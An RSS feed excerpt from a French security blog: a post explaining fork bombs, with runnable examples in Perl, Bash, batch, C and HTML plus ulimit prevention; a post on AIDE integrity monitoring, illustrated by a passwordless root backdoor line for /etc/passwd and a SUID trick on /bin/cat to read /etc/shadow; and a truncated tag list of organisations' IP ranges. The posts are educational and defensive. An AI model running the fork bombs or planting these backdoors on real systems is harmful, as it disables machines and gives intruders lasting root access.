<![CDATA[Qu&#8217;est ce qu&#8217;une fork bomb ? La fork bomb est un programme se dupliquant a l&#8217;infini. Si l&#8217;on prend en compte que le nombre de processus pouvant être exécutés simultanément sur un ordinateur est limité, vous comprendrez vite ou cela nous mène ! Comment elle fonctionne exactement ? Comme je vous l&#8217;ai dit plus haut, [...]]]>
</description>
<content:encoded>
<![CDATA[<h2>
<li>Qu&#8217;est ce qu&#8217;une fork bomb ?</li>
</h2>
<p>La fork bomb est un programme se dupliquant a l&#8217;infini. Si l&#8217;on prend en compte que le nombre de processus pouvant être exécutés simultanément sur un ordinateur est limité, vous comprendrez vite ou cela nous mène ! </p>
<h2>
<li>Comment elle fonctionne exactement ?</li>
</h2>
<p>Comme je vous l&#8217;ai dit plus haut, Elle créé un grand nombre de processus très rapidement afin de saturer le nombre de processus maximum du système. Si la table des processus est saturée, aucun nouveau programme ne peut démarrer tant qu&#8217;aucun autre ne termine. Et encore, même si cela arrive, il est peu probable qu&#8217;un programme utile démarre étant donné que les instances de la bombe attendent chacune d&#8217;occuper cet emplacement libre. Bref, la misère.</p>
<h2>
<li>Résultats ?</li>
</h2>
<p>Non seulement les fork bombs utilisent de la place dans la table des processus, mais elles utilisent chacune du temps processeur et de la mémoire. En conséquence, le système et les programmes tournant à ce moment-là ralentissent et deviennent même impossibles à utiliser. Pour peut que les processus lancés soit un peut gourmand en mémoire, le système peut rapidement swapper et occuper toute la mémoire virtuelle (SWAP). Les fork bomb peuvent donc être considérées comme des virus non destructifs&#8230; Bien que énervants.<br />
<span id="more-79"></span></p>
<h2>
<li>Exemples:</li>
</h2>
<p><strong>En Perl:</strong></p>
<div class="codecolorer-container text default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><table cellspacing="0" cellpadding="0"><tbody><tr><td style="padding:5px;text-align:center;color:#888888;background-color:#EEEEEE;border-right: 1px solid #9F9F9F;font: normal 12px/1.4em Monaco, Lucida Console, monospace;"><div>1<br /></div></td><td><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">perl -e &quot;fork while fork&quot; &amp;</div></td></tr></tbody></table></div>
<p><strong>en Bash :</strong></p>
<div class="codecolorer-container text default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><table cellspacing="0" cellpadding="0"><tbody><tr><td style="padding:5px;text-align:center;color:#888888;background-color:#EEEEEE;border-right: 1px solid #9F9F9F;font: normal 12px/1.4em Monaco, Lucida Console, monospace;"><div>1<br /></div></td><td><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">$ :(){ :|:&amp; };:</div></td></tr></tbody></table></div>
<p><strong>Via .Bat, ms-dos:</strong></p>
<div class="codecolorer-container text default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><table cellspacing="0" cellpadding="0"><tbody><tr><td style="padding:5px;text-align:center;color:#888888;background-color:#EEEEEE;border-right: 1px solid #9F9F9F;font: normal 12px/1.4em Monaco, Lucida Console, monospace;"><div>1<br />2<br />3<br /></div></td><td><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">:s<br />
start notepad.exe<br />
goto s</div></td></tr></tbody></table></div>
<p><strong>En C:</strong></p>
<div class="codecolorer-container text default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><table cellspacing="0" cellpadding="0"><tbody><tr><td style="padding:5px;text-align:center;color:#888888;background-color:#EEEEEE;border-right: 1px solid #9F9F9F;font: normal 12px/1.4em Monaco, Lucida Console, monospace;"><div>1<br />2<br />3<br />4<br />5<br />6<br />7<br /></div></td><td><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">#include &lt;unistd.h&gt;<br />
int main(void) {<br />
&nbsp; while(1) { <br />
&nbsp; &nbsp; fork(); <br />
&nbsp; } <br />
&nbsp; return 0; <br />
}</div></td></tr></tbody></table></div>
<p><strong>En HTML:</strong></p>
<p><em>forkbomb.htm:</em></p>
<div class="codecolorer-container text default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><table cellspacing="0" cellpadding="0"><tbody><tr><td style="padding:5px;text-align:center;color:#888888;background-color:#EEEEEE;border-right: 1px solid #9F9F9F;font: normal 12px/1.4em Monaco, Lucida Console, monospace;"><div>1<br />2<br />3<br />4<br />5<br />6<br /></div></td><td><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">&lt; html&gt;<br />
&lt; frameset&gt;<br />
&nbsp; &lt; frame src=&quot;forkbomb.htm&quot; name=&quot;ForkB1&quot;&gt;<br />
&nbsp; &lt; frame src=&quot;forkbomb.htm&quot; name=&quot;ForkB2&quot;&gt;<br />
&lt; /frameset&gt;<br />
&lt; /html&gt;</div></td></tr></tbody></table></div>
<h2>
<li>Difficulté</li>
</h2>
<p>Une fois la fork bomb lancée avec succès dans un système, il peut devenir impossible de retrouver un fonctionnement normal sans redémarrer, étant donné que la seule solution à une fork bomb est de détruire toutes ses instances. Essayer d&#8217;utiliser un programme pour tuer les processus requiert la création d&#8217;un processus, ce qui peut être impossible s&#8217;il n&#8217;y a pas d&#8217;emplacement vide dans la table des processus, ou d&#8217;espace dans les structures mémoires.</p>
<h2>
<li>Prévention</li>
</h2>
<p>La fork bomb fonctionne en créant autant de processus que possible. Ainsi, pour empêcher une fork bomb, il suffit simplement de limiter le nombre de processus pouvant être exécutés par un programme ou par un utilisateur. En permettant aux utilisateurs de lancer seulement un petit nombre de processus.</p>
<h2>
<li>Protection</li>
</h2>
<p><em>J&#8217;aborderais uniquement la solution sous linux, sachant que je ne connais que celle la. :)</em></p>
<p>Les systèmes de type Unix permettent de limiter le nombre de processus via la commande ulimit.</p>
]]>
</content:encoded>
<wfw:commentRss>http://www.crashdump.fr/debian/vous-avez-dit-forkbomb-79/feed/</wfw:commentRss>
<slash:comments>2</slash:comments>
</item>
<item>
<title>Surveillance de l&#8217;integrite de son systeme Linux</title>
<link>http://www.crashdump.fr/securite/surveillance-de-lintegrite-de-son-systeme-linux-21/</link>
<comments>http://www.crashdump.fr/securite/surveillance-de-lintegrite-de-son-systeme-linux-21/#comments</comments>
<pubDate>Wed, 01 Aug 2007 16:54:43 +0000</pubDate>
<dc:creator>Crashdump</dc:creator>
<category>
<![CDATA[Sécurité]]>
</category>
<category>
<![CDATA[Encore]]>
</category>
<guid isPermaLink="false">http://blog.nexus-6.fr/?p=21</guid>
<description>
<![CDATA[Cet article explique comment surveiller l&#8217;intégrité d&#8217;un système d&#8217;exploitation Linux, afin d&#8217;être prévenu rapidement d&#8217;une intrusion sur une machine. Pour bien comprendre l&#8217;intérêt de la surveillance de l&#8217;intégrité de son système, je vais prendre plusieurs exemples d&#8217;actions effectuées par un pirate informatique, lorsque ce dernier a réussi à s&#8217;introduire sur une machine, par le biais [...]]]>
</description>
<content:encoded>
<![CDATA[<p>Cet article explique comment surveiller l&#8217;intégrité d&#8217;un système d&#8217;exploitation Linux, afin d&#8217;être prévenu rapidement d&#8217;une intrusion sur une machine.</p>
<p>Pour bien comprendre l&#8217;intérêt de la surveillance de l&#8217;intégrité de son système, je vais prendre plusieurs exemples d&#8217;actions effectuées par un pirate informatique, lorsque ce dernier a réussi à s&#8217;introduire sur une machine, par le biais d&#8217;une faille de sécurité par exemple.</p>
<h2>
<li>Exemple de modification du système</li>
</h2>
<p>Pour chacun de ces cas, une surveillance de l&#8217;intégrité permettra de détecter très rapidement, les mouvements de l&#8217;intrus.</p>
<p><strong>Cas n°1 : modification du fichier /etc/passwd</strong></p>
<p>Notre pirate a réussi, par une méthode ou une autre, à accéder en écriture, au fichier /etc/passwd. Afin de pouvoir passer en root sur la machine, il y a ajouté la ligne suivante:</p>
<div class="codecolorer-container text default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><table cellspacing="0" cellpadding="0"><tbody><tr><td style="padding:5px;text-align:center;color:#888888;background-color:#EEEEEE;border-right: 1px solid #9F9F9F;font: normal 12px/1.4em Monaco, Lucida Console, monospace;"><div>1<br /></div></td><td><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">system::0:0:system:/:/bin/bash</div></td></tr></tbody></table></div>
<p><span id="more-21"></span><br />
On notera ici, qu&#8217;il a simplement créé un utilisateur nommé système, sans mot de passe, qui a le même ID que root. L&#8217;intrus pourra ainsi, a tout moment passer root sur la machine, via un simple compte utilisateur, en utilisant la commande su &#8211; system</p>
<p>Ce type de backdoor est assez difficile à repérer, étant donné que l&#8217;on ne consulte pas le fichier /etc/passwd tous les jours et qu&#8217;en plus, le nom system pourrait paraître normal.</p>
<p><strong>Cas n°2 : le bit SUID</strong></p>
<p>Là encore, notre intrus à obtenu les droits root et il voudrait être sêr de pouvoir revenir sous cette identité, à sa guise et même après un changement du mot de passe de ce dernier par l&#8217;administrateur. Pour se faire, il pourra positionner un bit SUID, sur les commandes qu&#8217;il désire, afin de pouvoir les exécuter ensuite en tant que root:</p>
<div class="codecolorer-container text default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><table cellspacing="0" cellpadding="0"><tbody><tr><td style="padding:5px;text-align:center;color:#888888;background-color:#EEEEEE;border-right: 1px solid #9F9F9F;font: normal 12px/1.4em Monaco, Lucida Console, monospace;"><div>1<br />2<br />3<br />4<br />5<br />6<br />7<br />8<br /></div></td><td><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">$ cat /etc/shadow<br />
cat: /etc/shadow: Permission denied<br />
$ su -<br />
Password:<br />
# chmod a+s /bin/cat<br />
# exit<br />
$ cat /etc/shadow<br />
root:xxxxx:13449:0:99999:7:::</div></td></tr></tbody></table></div>
<p>Encore une fois, pour repérer ce genre de manipulation, cela reste difficile, car il faudra régulièrement regarder les bons droits sur les fichiers (avec la commande find / -perm +4000 par exemple).</p>
<h2>
<li>La solution</li>
</h2>
<p>Pour éviter ce genre d&#8217;action, on pourra mettre en place un logiciel comme Tripwire ou encore AIDE sur la machine. Ce dernier a pour but de s&#8217;assurer l&#8217;intégrité des répertoires et des fichiers importants en identifiant tous changements apportés à ces derniers.</p>
<p>Pour ma part, je n&#8217;ai pas trouvé de version gratuite de Tripwire et je me suis donc rabattu sur AIDE (Advanced Intrusion Detection Environment). Voici la commande à lancer pour l&#8217;installer sur une Debian:</p>
<div class="codecolorer-container text default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><table cellspacing="0" cellpadding="0"><tbody><tr><td style="padding:5px;text-align:center;color:#888888;background-color:#EEEEEE;border-right: 1px solid #9F9F9F;font: normal 12px/1.4em Monaco, Lucida Console, monospace;"><div>1<br /></div></td><td><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">apt-get install aide</div></td></tr></tbody></table></div>
<p>On initialisera ensuite la base de données (environ 15 minutes de traitement) :</p>
<div class="codecolorer-container text default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><table cellspacing="0" cellpadding="0"><tbody><tr><td style="padding:5px;text-align:center;color:#888888;background-color:#EEEEEE;border-right: 1px solid #9F9F9F;font: normal 12px/1.4em Monaco, Lucida Console, monospace;"><div>1<br /></div></td><td><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">aide --init</div></td></tr></tbody></table></div>
<p>On devra ensuite placer la base de données dans un lieu sur (media accessible quand lecture, DVD par exemple). Pour faire simple ici, je vais laisser la base dans le dossier où elle se trouve initialement, en la renommant afin d&#8217;être exploitable par la commande aide:</p>
<div class="codecolorer-container text default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><table cellspacing="0" cellpadding="0"><tbody><tr><td style="padding:5px;text-align:center;color:#888888;background-color:#EEEEEE;border-right: 1px solid #9F9F9F;font: normal 12px/1.4em Monaco, Lucida Console, monospace;"><div>1<br /></div></td><td><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">mv /var/lib/aide/aide.db.new.gz /var/lib/aide/aide.db.gz</div></td></tr></tbody></table></div>
<p>On pourra ainsi vérifier l&#8217;intégrité du système via la commande suivante (environ 10 minutes de traitement pour 160Go de disque):</p>
<div class="codecolorer-container text default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><table cellspacing="0" cellpadding="0"><tbody><tr><td style="padding:5px;text-align:center;color:#888888;background-color:#EEEEEE;border-right: 1px solid #9F9F9F;font: normal 12px/1.4em Monaco, Lucida Console, monospace;"><div>1<br /></div></td><td><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">aide --check</div></td></tr></tbody></table></div>
<p>Dans notre cas ici, j&#8217;avais pris le soin de construire une base, avant la mis en pratique des différents cas cités plus haut. Et voici ce que donne la commande aide &#8211;check après vérification:</p>
<div class="codecolorer-container text default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><table cellspacing="0" cellpadding="0"><tbody><tr><td style="padding:5px;text-align:center;color:#888888;background-color:#EEEEEE;border-right: 1px solid #9F9F9F;font: normal 12px/1.4em Monaco, Lucida Console, monospace;"><div>1<br />2<br />3<br />4<br /></div></td><td><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">...<br />
changed: /etc/passwd<br />
changed: /bin/cat<br />
...</div></td></tr></tbody></table></div>
<p>Les modifications système ont donc bien été détectées. On pourra bien sûr rendre ce genre de procédure automatique, en ajoutant cette commande à une crontab et lui faisant retourner le résultat par mail.</p>
<p>Dans le cas d&#8217;une mise à jour du système, ou de changement de configuration, l&#8217;administrateur pourra a tout moment mettre lui même AIDE à jour, en utilisant le paramètre update:</p>
<div class="codecolorer-container text default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><table cellspacing="0" cellpadding="0"><tbody><tr><td style="padding:5px;text-align:center;color:#888888;background-color:#EEEEEE;border-right: 1px solid #9F9F9F;font: normal 12px/1.4em Monaco, Lucida Console, monospace;"><div>1<br /></div></td><td><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">aide --update</div></td></tr></tbody></table></div>
<h2>
<li>Conclusion</li>
</h2>
<p>On pourra aller beaucoup plus loin dans la configuration AIDE, en modifiant le fichier /etc/aide.conf. On pourra par exemple, rajouter la surveillance des fichiers de son site web, afin d&#8217;être prévenu rapidement en cas de &laquo;&nbsp;défaçage &laquo;&nbsp;.</p>
<ul><strong>Aller plus loin</strong></ul>
<p>* <a rel="nofollow" href="http://www.cs.tut.fi/~rammer/aide.html">Site officiel de AIDE</a><br />
* Manuel de AIDE</p>
]]>
</content:encoded>
<wfw:commentRss>http://www.crashdump.fr/securite/surveillance-de-lintegrite-de-son-systeme-linux-21/feed/</wfw:commentRss>
<slash:comments>1</slash:comments>
</item>
<item>
<title>IP Dangeureuses ?</title>
<link>http://www.crashdump.fr/securite/ip-dangeureuses-31/</link>
<comments>http://www.crashdump.fr/securite/ip-dangeureuses-31/#comments</comments>
<pubDate>Mon, 16 Jul 2007 18:55:31 +0000</pubDate>
<dc:creator>Crashdump</dc:creator>
<category>
<![CDATA[Sécurité]]>
</category>
<category>
<![CDATA[10th Area Support Group]]>
</category>
<category>
<![CDATA[128.47.0.0]]>
</category>
<category>
<![CDATA[129.229.0.0]]>
</category>
<category>
<![CDATA[130.112.0.0]]>
</category>
<category>
<![CDATA[130.123.0.0]]>
</category>
<category>
<![CDATA[130.165.0]]>
</category>
<category>
<![CDATA[131.220.0.0]]>
</category>
<category>
<![CDATA[131.84.0.0]]>
</category>
<category>
<![CDATA[134.164.0.0]]>
</category>
<category>
<![CDATA[138.146.0.0]]>
</category>
<category>
<![CDATA[139.13.0.0]]>
</category>
<category>
<![CDATA[139.4.0.0]]>
</category>
<category>
<![CDATA[139.6.0.0]]>
</category>
<category>
<![CDATA[139.75.0.0]]>
</category>
<category>
<![CDATA[149.235.0.0]]>
</category>
<category>
<![CDATA[149.251.0.0]]>
</category>
<category>
<![CDATA[204.34.137.0]]>
</category>
<category>
<![CDATA[204.34.152.0]]>
</category>
<category>
<![CDATA[Aachen]]>
</category>
<category>
<![CDATA[Aachen University of Technology]]>
</category>
<category>
<![CDATA[Aberdeen]]>
</category>
<category>
<![CDATA[Air Canada]]>
</category>
<category>
<![CDATA[Air Control Group]]>
</category>
<category>
<![CDATA[Air Force]]>
</category>
<category>
<![CDATA[Air Force Flight Test Center]]>
</category>
<category>
<![CDATA[Air Force Institute of Technology]]>
</category>
<category>
<![CDATA[Air Force Logistics Command]]>
</category>
<category>
<![CDATA[Air Force Materiel Command]]>
</category>
<category>
<![CDATA[Air Force Systems Command]]>
</category>
<category>
<![CDATA[Aircraft Facility]]>
</category>
<category>
<![CDATA[AIS]]>
</category>
<category>
<![CDATA[Alcanet International Deutschland GmbH]]>
</category>
<category>
<![CDATA[Alconbury Royal Air Force Base]]>
</category>
<category>
<![CDATA[Alfred Wegener Institute for Polar and Marine Research]]>
</category>
<category>
<![CDATA[All-Com Technologies]]>
</category>
<category>
<![CDATA[Altus Air Force Base]]>
</category>
<category>
<![CDATA[Andersen Air Force Base]]>
</category>
<category>
<![CDATA[Ankara]]>
</category>
<category>
<![CDATA[Ankara Air Station]]>
</category>
<category>
<![CDATA[Army Ballistics Research Laboratory]]>
</category>
<category>
<![CDATA[Army Communications Electronics Command]]>
</category>
<category>
<![CDATA[Army Information Systems]]>
</category>
<category>
<![CDATA[Army Information Systems Center]]>
</category>
<category>
<![CDATA[Army Information Systems Command]]>
</category>
<category>
<![CDATA[Army National Guard Bureau]]>
</category>
<category>
<![CDATA[ASIC]]>
</category>
<category>
<![CDATA[Australia]]>
</category>
<category>
<![CDATA[Australian Defense Force Academy]]>
</category>
<category>
<![CDATA[Barksdale Air Force Base]]>
</category>
<category>
<![CDATA[BBN-STD Inc.]]>
</category>
<category>
<![CDATA[Bentwaters Royal Air Force Base]]>
</category>
<category>
<![CDATA[Bergstrom Air Force]]>
</category>
<category>
<![CDATA[Bergstrom Air Force Base]]>
</category>
<category>
<![CDATA[Berlin]]>
</category>
<category>
<![CDATA[Berlin production plant]]>
</category>
<category>
<![CDATA[BMW AG]]>
</category>
<category>
<![CDATA[Boeing Corporation]]>
</category>
<category>
<![CDATA[Boston]]>
</category>
<category>
<![CDATA[Bremer Vulkan AG]]>
</category>
<category>
<![CDATA[Bridgehead Associates LTD]]>
</category>
<category>
<![CDATA[Bruker Analytische Messtechnik GmbH]]>
</category>
<category>
<![CDATA[Cannon Air Force Base]]>
</category>
<category>
<![CDATA[Cardio Thoracic Surgical Associates]]>
</category>
<category>
<![CDATA[Carl Schenk AG]]>
</category>
<category>
<![CDATA[Castle Air Force Base]]>
</category>
<category>
<![CDATA[Central Intelligence Agency]]>
</category>
<category>
<![CDATA[Chair]]>
</category>
<category>
<![CDATA[Chanute Air Force Base]]>
</category>
<category>
<![CDATA[CHERRY PO]]>
</category>
<category>
<![CDATA[Chief]]>
</category>
<category>
<![CDATA[Chris Pet Store]]>
</category>
<category>
<![CDATA[College of Finance]]>
</category>
<category>
<![CDATA[Columbus]]>
</category>
<category>
<![CDATA[Columbus Air Force Base]]>
</category>
<category>
<![CDATA[Commander]]>
</category>
<category>
<![CDATA[Corps Air Station]]>
</category>
<category>
<![CDATA[Crane]]>
</category>
<category>
<![CDATA[Curry College]]>
</category>
<category>
<![CDATA[Darling Dolls Inc]]>
</category>
<category>
<![CDATA[Davis-Monthan Air Force Base]]>
</category>
<category>
<![CDATA[DC]]>
</category>
<category>
<![CDATA[Defense Information Systems Agency]]>
</category>
<category>
<![CDATA[DEFENSE PROCESSING CENTERPERAL HARBOR]]>
</category>
<category>
<![CDATA[Degussa AG]]>
</category>
<category>
<![CDATA[Delaware]]>
</category>
<category>
<![CDATA[Denver]]>
</category>
<category>
<![CDATA[Department of Defense]]>
</category>
<category>
<![CDATA[Department of State]]>
</category>
<category>
<![CDATA[Deutschland]]>
</category>
<category>
<![CDATA[Development Center]]>
</category>
<category>
<![CDATA[DIEGO GARCIA]]>
</category>
<category>
<![CDATA[Digital Equipment Corp]]>
</category>
<category>
<![CDATA[Dingolfingen production plant]]>
</category>
<category>
<![CDATA[Director]]>
</category>
<category>
<![CDATA[Diversified Wireless Technologies]]>
</category>
<category>
<![CDATA[Dolabany Comm Group]]>
</category>
<category>
<![CDATA[Dover]]>
</category>
<category>
<![CDATA[DTC Communications Inc]]>
</category>
<category>
<![CDATA[EffNet Inc]]>
</category>
<category>
<![CDATA[Electricite de]]>
</category>
<category>
<![CDATA[Electronic Systems Laboratory]]>
</category>
<category>
<![CDATA[Elmendorf]]>
</category>
<category>
<![CDATA[Elmendorf Air Force Base]]>
</category>
<category>
<![CDATA[Engineer]]>
</category>
<category>
<![CDATA[Engineering Center]]>
</category>
<category>
<![CDATA[Entropic Systems Inc]]>
</category>
<category>
<![CDATA[Erasmus University Rotterdam]]>
</category>
<category>
<![CDATA[EUnet Deutschland GmbH]]>
</category>
<category>
<![CDATA[Europe]]>
</category>
<category>
<![CDATA[European Centre for Medium-Range Weather Forecasts]]>
</category>
<category>
<![CDATA[European Space Operations Center]]>
</category>
<category>
<![CDATA[Eve Distributors]]>
</category>
<category>
<![CDATA[Event Travel Management Inc]]>
</category>
<category>
<![CDATA[Facility  128]]>
</category>
<category>
<![CDATA[Facility  131]]>
</category>
<category>
<![CDATA[Facility  134]]>
</category>
<category>
<![CDATA[Facility  204]]>
</category>
<category>
<![CDATA[Fairchild]]>
</category>
<category>
<![CDATA[Fantasia&Company]]>
</category>
<category>
<![CDATA[Federal Aviation Administration]]>
</category>
<category>
<![CDATA[Federal Bureau of Investigation]]>
</category>
<category>
<![CDATA[Force Base]]>
</category>
<category>
<![CDATA[FortuneCity Ltd.]]>
</category>
<category>
<![CDATA[France]]>
</category>
<category>
<![CDATA[Frankfurt]]>
</category>
<category>
<![CDATA[Fraunhofer Institut]]>
</category>
<category>
<![CDATA[GCCS Support Facility]]>
</category>
<category>
<![CDATA[George Air Force Base]]>
</category>
<category>
<![CDATA[Giganet Inc.]]>
</category>
<category>
<![CDATA[Goodfellow AFB]]>
</category>
<category>
<![CDATA[Gothenburg University]]>
</category>
<category>
<![CDATA[Grason Stadler Inc]]>
</category>
<category>
<![CDATA[Groton Neochem LLC]]>
</category>
<category>
<![CDATA[Guam]]>
</category>
<category>
<![CDATA[Hahn Air Base]]>
</category>
<category>
<![CDATA[Hamburg]]>
</category>
<category>
<![CDATA[Hannover]]>
</category>
<category>
<![CDATA[Hanson Data Systems]]>
</category>
<category>
<![CDATA[Headquarters]]>
</category>
<category>
<![CDATA[Hellenikon Air Base]]>
</category>
<category>
<![CDATA[Hickam Air Force Base]]>
</category>
<category>
<![CDATA[Hirschmann GmbH & Co]]>
</category>
<category>
<![CDATA[Hoechst AG]]>
</category>
<category>
<![CDATA[Hologic Inc.]]>
</category>
<category>
<![CDATA[Honeywell Defense Systems]]>
</category>
<category>
<![CDATA[Huntsville]]>
</category>
<category>
<![CDATA[Indiana]]>
</category>
<category>
<![CDATA[Information Systems Agency]]>
</category>
<category>
<![CDATA[Information Technology]]>
</category>
<category>
<![CDATA[Internet Registry/RIPE NCC]]>
</category>
<category>
<![CDATA[iXOS Software GmbH]]>
</category>
<category>
<![CDATA[Japan]]>
</category>
<category>
<![CDATA[JLM Technologies]]>
</category>
<category>
<![CDATA[John F. Kennedy]]>
</category>
<category>
<![CDATA[John F. Kennedy Space Center]]>
</category>
<category>
<![CDATA[Joint Tactical Command]]>
</category>
<category>
<![CDATA[Joseph Limo]]>
</category>
<category>
<![CDATA[K-Tech International Inc.]]>
</category>
<category>
<![CDATA[Kadena Air Base]]>
</category>
<category>
<![CDATA[KARL GEORG]]>
</category>
<category>
<![CDATA[Kaufhof Holding AG]]>
</category>
<category>
<![CDATA[Keesler Air Force Base]]>
</category>
<category>
<![CDATA[Keyport]]>
</category>
<category>
<![CDATA[Knorr-Bremse AG]]>
</category>
<category>
<![CDATA[Koerber AG]]>
</category>
<category>
<![CDATA[Korea]]>
</category>
<category>
<![CDATA[Korea Aerospace Research Institute]]>
</category>
<category>
<![CDATA[Kunsan Air Base]]>
</category>
<category>
<![CDATA[Lahmeyer International GmbH]]>
</category>
<category>
<![CDATA[Lajes Air Force Base]]>
</category>
<category>
<![CDATA[Landshut production plant]]>
</category>
<category>
<![CDATA[Langley AFB]]>
</category>
<category>
<![CDATA[Langley Air Force Base]]>
</category>
<category>
<![CDATA[Laughlin Air Force Base]]>
</category>
<category>
<![CDATA[LEEDS]]>
</category>
<category>
<![CDATA[Leipzig]]>
</category>
<category>
<![CDATA[Lindsey Air Station]]>
</category>
<category>
<![CDATA[Little Rock Air Force Base]]>
</category>
<category>
<![CDATA[Lockheed Aeronautical Systems Company]]>
</category>
<category>
<![CDATA[Loring Air Force Base]]>
</category>
<category>
<![CDATA[Louis Berger and Associates]]>
</category>
<category>
<![CDATA[MacDill Air Force Base]]>
</category>
<category>
<![CDATA[Maguire Group]]>
</category>
<category>
<![CDATA[Mannesmann Mobilfunk GmbH]]>
</category>
<category>
<![CDATA[MARINE BIOLOGICAL LABORATORY]]>
</category>
<category>
<![CDATA[Marshall]]>
</category>
<category>
<![CDATA[Marshall Space]]>
</category>
<category>
<![CDATA[Maryland]]>
</category>
<category>
<![CDATA[Massey University]]>
</category>
<category>
<![CDATA[Mather Air Force Base]]>
</category>
<category>
<![CDATA[Max-Planck-Institut]]>
</category>
<category>
<![CDATA[McClellan Air Force Base]]>
</category>
<category>
<![CDATA[McConnell Air Force Base]]>
</category>
<category>
<![CDATA[McGuire Air Force Base]]>
</category>
<category>
<![CDATA[Mercury Personal Communications Ltd.]]>
</category>
<category>
<![CDATA[Michoud Assembly Facility]]>
</category>
<category>
<![CDATA[Military Sealift Command]]>
</category>
<category>
<![CDATA[Monthan Air Force Base]]>
</category>
<category>
<![CDATA[Munich]]>
</category>
<category>
<![CDATA[Munich production plant]]>
</category>
<category>
<![CDATA[Myrtle Beach Air Force Base]]>
</category>
<category>
<![CDATA[N60]]>
</category>
<category>
<![CDATA[Nancy Plowman Associates]]>
</category>
<category>
<![CDATA[NAPLES]]>
</category>
<category>
<![CDATA[NASA Ames Research Center]]>
</category>
<category>
<![CDATA[NASA Headquarters]]>
</category>
<category>
<![CDATA[NASA Johnson Space Center]]>
</category>
<category>
<![CDATA[NASA Kennedy Space Center]]>
</category>
<category>
<![CDATA[NASA Langley Research Center]]>
</category>
<category>
<![CDATA[NASA Lewis Network Control Center]]>
</category>
<category>
<![CDATA[NASA Lewis Research Center]]>
</category>
<category>
<![CDATA[NASA Wallops Flight Facility]]>
</category>
<category>
<![CDATA[NASA/Michoud Assembly Facility]]>
</category>
<category>
<![CDATA[National Aeronautics and Space Administration]]>
</category>
<category>
<![CDATA[National Aerospace Laboratory]]>
</category>
<category>
<![CDATA[National Guard]]>
</category>
<category>
<![CDATA[National Guard Bureau]]>
</category>
<category>
<![CDATA[National Space Development Agency of Japan]]>
</category>
<category>
<![CDATA[NATO Headquarters]]>
</category>
<category>
<![CDATA[Nav Air Tech Serv Facility]]>
</category>
<category>
<![CDATA[Naval Air Facility]]>
</category>
<category>
<![CDATA[Naval Air Station]]>
</category>
<category>
<![CDATA[Naval Aviation Depot]]>
</category>
<category>
<![CDATA[Naval Base Pearl Harbor]]>
</category>
<category>
<![CDATA[Naval Postgraduate School]]>
</category>
<category>
<![CDATA[Naval Research Laboratory]]>
</category>
<category>
<![CDATA[NAVAL SUPPORT FACILITY]]>
</category>
<category>
<![CDATA[Navy]]>
</category>
<category>
<![CDATA[Navy Regional Data Automation Center]]>
</category>
<category>
<![CDATA[Nellis Air Force Base]]>
</category>
<category>
<![CDATA[New England]]>
</category>
<category>
<![CDATA[Nixdorf Informationssysteme AG]]>
</category>
<category>
<![CDATA[North Atlantic Treaty Organization]]>
</category>
<category>
<![CDATA[Norton]]>
</category>
<category>
<![CDATA[Nuremberg]]>
</category>
<category>
<![CDATA[Nursing]]>
</category>
<category>
<![CDATA[NV Operations Office]]>
</category>
<category>
<![CDATA[Optical Fiber]]>
</category>
<category>
<![CDATA[Orion Partners]]>
</category>
<category>
<![CDATA[Orlando]]>
</category>
<category>
<![CDATA[Ottawa]]>
</category>
<category>
<![CDATA[Patrick Air Force Base]]>
</category>
<category>
<![CDATA[Patterson Air]]>
</category>
<category>
<![CDATA[PEARL]]>
</category>
<category>
<![CDATA[Pentagon]]>
</category>
<category>
<![CDATA[Perth]]>
</category>
<category>
<![CDATA[Plattsburgh Air Force Base]]>
</category>
<category>
<![CDATA[Preferred Fixtures Inc]]>
</category>
<category>
<![CDATA[Principle Software]]>
</category>
<category>
<![CDATA[PTR - Precision Technologies]]>
</category>
<category>
<![CDATA[Puget]]>
</category>
<category>
<![CDATA[Purdue University]]>
</category>
<category>
<![CDATA[Putnam Technologies]]>
</category>
<category>
<![CDATA[Quantum Software GmbH]]>
</category>
<category>
<![CDATA[Radar Establishment]]>
</category>
<category>
<![CDATA[Radex Inc.]]>
</category>
<category>
<![CDATA[Randolph Air Force Base]]>
</category>
<category>
<![CDATA[Reading]]>
</category>
<category>
<![CDATA[Reese Air Force Base]]>
</category>
<category>
<![CDATA[Refron Inc]]>
</category>
<category>
<![CDATA[Regensburg production plant]]>
</category>
<category>
